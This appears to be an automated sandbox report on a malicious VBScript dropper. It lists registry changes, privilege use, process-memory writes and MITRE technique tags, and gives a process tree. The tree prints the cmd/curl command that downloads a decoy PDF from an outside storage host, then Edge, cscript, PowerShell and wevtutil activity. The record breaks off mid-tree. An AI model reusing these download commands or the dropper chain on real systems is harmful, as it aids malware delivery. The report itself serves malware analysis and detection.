Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\it-IT\\VoiceActivation_HW_it-IT.dat"	SearchApp.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.search\ = "23"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "- 0001 ! 0002 & 0003 , 0004 . 0005 ? 0006 _ 0007 ^ 0008 1 0009 2 000a ~ 000b : 000c a 000d aw 000e ax 000f ay 0010 b 0011 d 0012 ch 0013 eh 0014 eu 0015 ey 0016 f 0017 g 0018 h 0019 ih 001a iy 001b jh 001c k 001d l 001e m 001f n 0020 ng 0021 oe 0022 oh 0023 ow 0024 oy 0025 p 0026 pf 0027 r 0028 s 0029 sh 002a t 002b ts 002c ue 002d uh 002e uw 002f uy 0030 v 0031 x 0032 y 0033 z 0034 zh 0035"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\fr-FR\\VoiceActivation_fr-FR.dat"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\fr-FR\\VoiceActivation_HW_fr-FR.dat"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\Speech_OneCore\\Engines\\SR\\en-US-N\\AI041033"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "Traditional Chinese Phone Converter"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "Microsoft Speech Recognition Engine - en-US Embedded DNN v11.1"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "Microsoft Speech SW Voice Activation - Italian (Italy)"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "Microsoft Haruka"	SearchApp.exe
Key created	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.search	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "{14E74C62-DC97-43B0-8F2F-581496A65D60}"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "{81218F10-A8AA-44C4-9436-33A42C3852E9}"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "L1031"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\Speech_OneCore\\Engines\\TTS\\es-ES\\M3082Pablo"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\Speech_OneCore\\Engines\\TTS\\it-IT\\M1040Cosimo"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\en-US\\VoiceActivation_HW_en-US.dat"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "SR ja-JP Lookup Lexicon"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\Speech_OneCore\\Engines\\SR\\ja-JP-N\\L1041"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "%windir%\\System32\\Speech_OneCore\\VoiceActivation\\de-DE\\VoiceActivation_HW_de-DE.dat"	SearchApp.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.search_cw5n1h2txyewy\SOFTWARE\Microsoft\Speech_OneCore\Isolated\ohDO1Sgy3MzgdEgEb4WYfDS4eikKw = "MS-1033-110-WINMO-DNN"	SearchApp.exe

Modifies registry key 1 TTPs 14 IoCs

Modify Registry

T1112

pid	Process
5600	reg.exe
5756	reg.exe
5516	reg.exe
3832	reg.exe
5288	reg.exe
5572	reg.exe
5436	reg.exe
5688	reg.exe
5720	reg.exe
992	reg.exe
1252	reg.exe
1256	reg.exe
5228	reg.exe
5464	reg.exe

Suspicious behavior: EnumeratesProcesses 58 IoCs

pid	Process
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
520	SearchApp.exe
6012	powershell.exe
6012	powershell.exe
6012	powershell.exe
2940	powershell.exe
2940	powershell.exe
2940	powershell.exe
5236	powershell.exe
5236	powershell.exe
5236	powershell.exe
5544	SearchApp.exe
5544	SearchApp.exe
5544	SearchApp.exe
5544	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
1840	SearchApp.exe
5416	powershell.exe
5416	powershell.exe
5416	powershell.exe
1516	powershell.exe
1516	powershell.exe
1516	powershell.exe
6136	powershell.exe
6136	powershell.exe
6136	powershell.exe
1128	msedge.exe
1128	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe
3620	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	5444	wevtutil.exe
Token: SeBackupPrivilege	5444	wevtutil.exe
Token: SeSecurityPrivilege	5608	wevtutil.exe
Token: SeBackupPrivilege	5608	wevtutil.exe
Token: SeSecurityPrivilege	5728	wevtutil.exe
Token: SeBackupPrivilege	5728	wevtutil.exe
Token: SeDebugPrivilege	520	SearchApp.exe
Token: SeIncreaseQuotaPrivilege	520	SearchApp.exe
Token: SeSecurityPrivilege	520	SearchApp.exe
Token: SeTakeOwnershipPrivilege	520	SearchApp.exe
Token: SeLoadDriverPrivilege	520	SearchApp.exe
Token: SeSystemProfilePrivilege	520	SearchApp.exe
Token: SeSystemtimePrivilege	520	SearchApp.exe
Token: SeProfSingleProcessPrivilege	520	SearchApp.exe
Token: SeIncBasePriorityPrivilege	520	SearchApp.exe
Token: SeCreatePagefilePrivilege	520	SearchApp.exe
Token: SeBackupPrivilege	520	SearchApp.exe
Token: SeRestorePrivilege	520	SearchApp.exe
Token: SeShutdownPrivilege	520	SearchApp.exe
Token: SeDebugPrivilege	520	SearchApp.exe
Token: SeSystemEnvironmentPrivilege	520	SearchApp.exe
Token: SeRemoteShutdownPrivilege	520	SearchApp.exe
Token: SeUndockPrivilege	520	SearchApp.exe
Token: SeManageVolumePrivilege	520	SearchApp.exe
Token: 33	520	SearchApp.exe
Token: 34	520	SearchApp.exe
Token: 35	520	SearchApp.exe
Token: 36	520	SearchApp.exe
Token: SeIncreaseQuotaPrivilege	520	SearchApp.exe
Token: SeSecurityPrivilege	520	SearchApp.exe
Token: SeTakeOwnershipPrivilege	520	SearchApp.exe
Token: SeLoadDriverPrivilege	520	SearchApp.exe
Token: SeSystemProfilePrivilege	520	SearchApp.exe
Token: SeSystemtimePrivilege	520	SearchApp.exe
Token: SeProfSingleProcessPrivilege	520	SearchApp.exe
Token: SeIncBasePriorityPrivilege	520	SearchApp.exe
Token: SeCreatePagefilePrivilege	520	SearchApp.exe
Token: SeBackupPrivilege	520	SearchApp.exe
Token: SeRestorePrivilege	520	SearchApp.exe
Token: SeShutdownPrivilege	520	SearchApp.exe
Token: SeDebugPrivilege	520	SearchApp.exe
Token: SeSystemEnvironmentPrivilege	520	SearchApp.exe
Token: SeRemoteShutdownPrivilege	520	SearchApp.exe
Token: SeUndockPrivilege	520	SearchApp.exe
Token: SeManageVolumePrivilege	520	SearchApp.exe
Token: 33	520	SearchApp.exe
Token: 34	520	SearchApp.exe
Token: 35	520	SearchApp.exe
Token: 36	520	SearchApp.exe
Token: SeIncreaseQuotaPrivilege	520	SearchApp.exe
Token: SeSecurityPrivilege	520	SearchApp.exe
Token: SeTakeOwnershipPrivilege	520	SearchApp.exe
Token: SeLoadDriverPrivilege	520	SearchApp.exe
Token: SeSystemProfilePrivilege	520	SearchApp.exe
Token: SeSystemtimePrivilege	520	SearchApp.exe
Token: SeProfSingleProcessPrivilege	520	SearchApp.exe
Token: SeIncBasePriorityPrivilege	520	SearchApp.exe
Token: SeCreatePagefilePrivilege	520	SearchApp.exe
Token: SeBackupPrivilege	520	SearchApp.exe
Token: SeRestorePrivilege	520	SearchApp.exe
Token: SeShutdownPrivilege	520	SearchApp.exe
Token: SeDebugPrivilege	520	SearchApp.exe
Token: SeSystemEnvironmentPrivilege	520	SearchApp.exe
Token: SeRemoteShutdownPrivilege	520	SearchApp.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3620	msedge.exe
3620	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2664	SearchApp.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1540 wrote to memory of 4372	1540	WScript.exe	86
PID 4372 wrote to memory of 1260	4372	cmd.exe	88
PID 1540 wrote to memory of 3620	1540	WScript.exe	89
PID 3620 wrote to memory of 1696	3620	msedge.exe	90
PID 3620 wrote to memory of 4516	3620	msedge.exe	91
PID 3620 wrote to memory of 536	3620	msedge.exe	92
PID 3620 wrote to memory of 3252	3620	msedge.exe	93
PID 3620 wrote to memory of 4516	3620	msedge.exe	91
PID 3620 wrote to memory of 4516	3620	msedge.exe	91
PID 3620 wrote to memory of 3252	3620	msedge.exe	93
PID 3620 wrote to memory of 3576	3620	msedge.exe	94
PID 3620 wrote to memory of 3576	3620	msedge.exe	94
PID 3620 wrote to memory of 3576	3620	msedge.exe	94
PID 3620 wrote to memory of 2448	3620	msedge.exe	95
PID 3620 wrote to memory of 2448	3620	msedge.exe	95
PID 3620 wrote to memory of 2448	3620	msedge.exe	95
PID 1540 wrote to memory of 1268	1540	WScript.exe	96
PID 3620 wrote to memory of 3468	3620	msedge.exe	97
PID 3620 wrote to memory of 3468	3620	msedge.exe	97
PID 3620 wrote to memory of 5036	3620	msedge.exe	98
PID 3620 wrote to memory of 3468	3620	msedge.exe	97
PID 3620 wrote to memory of 5036	3620	msedge.exe	98
PID 3620 wrote to memory of 5036	3620	msedge.exe	98
PID 3620 wrote to memory of 964	3620	msedge.exe	101
PID 3620 wrote to memory of 964	3620	msedge.exe	101
PID 3620 wrote to memory of 964	3620	msedge.exe	101
PID 1268 wrote to memory of 556	1268	cmd.exe	102
PID 3620 wrote to memory of 3852	3620	msedge.exe	103
PID 3620 wrote to memory of 3852	3620	msedge.exe	103
PID 3620 wrote to memory of 4568	3620	msedge.exe	104
PID 3620 wrote to memory of 4568	3620	msedge.exe	104
PID 3620 wrote to memory of 4568	3620	msedge.exe	104
PID 3620 wrote to memory of 760	3620	msedge.exe	107
PID 3620 wrote to memory of 760	3620	msedge.exe	107
PID 3620 wrote to memory of 900	3620	msedge.exe	110
PID 3620 wrote to memory of 900	3620	msedge.exe	110
PID 3620 wrote to memory of 2640	3620	msedge.exe	111
PID 3620 wrote to memory of 2640	3620	msedge.exe	111
PID 1540 wrote to memory of 1348	1540	WScript.exe	112
PID 3620 wrote to memory of 2432	3620	msedge.exe	115
PID 3620 wrote to memory of 2128	3620	msedge.exe	116
PID 3620 wrote to memory of 2128	3620	msedge.exe	116
PID 3620 wrote to memory of 2600	3620	msedge.exe	117
PID 3620 wrote to memory of 2600	3620	msedge.exe	117
PID 1348 wrote to memory of 2808	1348	cscript.exe	118
PID 2808 wrote to memory of 4764	2808	cmd.exe	120
PID 3620 wrote to memory of 3168	3620	msedge.exe	121
PID 3620 wrote to memory of 3168	3620	msedge.exe	121
PID 3620 wrote to memory of 2132	3620	msedge.exe	124
PID 3620 wrote to memory of 2132	3620	msedge.exe	124
PID 3620 wrote to memory of 4320	3620	msedge.exe	123
PID 3620 wrote to memory of 4320	3620	msedge.exe	123
PID 3620 wrote to memory of 2324	3620	msedge.exe	127
PID 3620 wrote to memory of 3640	3620	msedge.exe	128
PID 3620 wrote to memory of 3236	3620	msedge.exe	129
PID 1348 wrote to memory of 3240	1348	cscript.exe	132
PID 3240 wrote to memory of 4188	3240	cmd.exe	135
PID 1348 wrote to memory of 520	1348	cscript.exe	137
PID 520 wrote to memory of 5436	520	SearchApp.exe	143
PID 520 wrote to memory of 5444	520	SearchApp.exe	144
PID 520 wrote to memory of 5464	520	SearchApp.exe	145
PID 520 wrote to memory of 5600	520	SearchApp.exe	149
PID 520 wrote to memory of 5608	520	SearchApp.exe	150
PID 520 wrote to memory of 5688	520	SearchApp.exe	153

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Doc6754321-86137.vbs"
1⤵
- Checks computer location settings
- Deletes itself
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:1540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s -k -f -L -o "C:\Users\Admin\Downloads\Doc6754321-39546.pdf" "https://e90b66f5c6c3eeb113cee5588db54127.r2.cloudflarestorage.com/cdn-assets-neonstriker99/d/691cbe2e-d6bb-484d-8259-5c101c3909c0/decoy/Doc6754321-39546.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=97696a30a356d8efdcbee2320a0b8933%2F20260728%2Fauto%2Fs3%2Faws4_request&X-Amz-Date=20260728T163511Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=778b6be6083406517b539704945f5ce06cef5b285111625542d9aa00be32428a"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4372
- - C:\Windows\system32\curl.exe
    curl -s -k -f -L -o "C:\Users\Admin\Downloads\Doc6754321-39546.pdf" "https://e90b66f5c6c3eeb113cee5588db54127.r2.cloudflarestorage.com/cdn-assets-neonstriker99/d/691cbe2e-d6bb-484d-8259-5c101c3909c0/decoy/Doc6754321-39546.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=97696a30a356d8efdcbee2320a0b8933%2F20260728%2Fauto%2Fs3%2Faws4_request&X-Amz-Date=20260728T163511Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=778b6be6083406517b539704945f5ce06cef5b285111625542d9aa00be32428a"
    3⤵
    PID:1260
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Downloads\Doc6754321-39546.pdf
  2⤵
  - Drops file in Program Files directory
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3620
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2c4,0x2c8,0x2cc,0x2c0,0x2d4,0x7ffdc880c188,0x7ffdc880c194,0x7ffdc880c1a0
    3⤵
    PID:1696
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1724,i,2024032230672338407,2920052047434731396,262144 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:2
    3⤵
    PID:4516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1892,i,13994185571941388178,9911888235402679831,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=2544 /prefetch:3
    3⤵
    - System Time Discovery
    PID:536
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2360,i,1346875568701625550,5215734299987692882,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:8
    3⤵
    PID:3252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3520,i,15380410698987369719,15660877074970289000,2097152 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:1
    3⤵
    PID:3576
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3528,i,9126515499604637478,5614825120506233574,2097152 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=3588 /prefetch:1
    3⤵
    PID:2448
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4184,i,18193590096263948993,4649259385883505915,2097152 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:1
    3⤵
    PID:3468
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4248,i,4758841324805575625,6369866147055801717,2097152 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=4280 /prefetch:2
    3⤵
    PID:5036
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3716,i,8219878308224413527,1082441321582271949,2097152 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:2
    3⤵
    PID:964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4772,i,2130722336765694735,11696035125991360320,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=5320 /prefetch:8
    3⤵
    PID:3852
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5484,i,6574586892764621223,9057796709737392070,2097152 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:8
    3⤵
    PID:4568
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5656,i,4407778874350915961,16891082943414734314,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=5652 /prefetch:8
    3⤵
    PID:760
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5156,i,12643185815678184043,9607222033075030846,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=5900 /prefetch:8
    3⤵
    PID:900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4736,i,29188640002714282,15352946542903719031,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=5920 /prefetch:8
    3⤵
    PID:2640
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6612,i,608519293506076479,1260282806516512430,524288 --field-trial-handle=2416,i,282004450451446971,3482222016022374808,262144 --variations-seed-version --mojo-platform-channel-handle=4764 /prefetch:8
    3⤵
    PID:3012
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
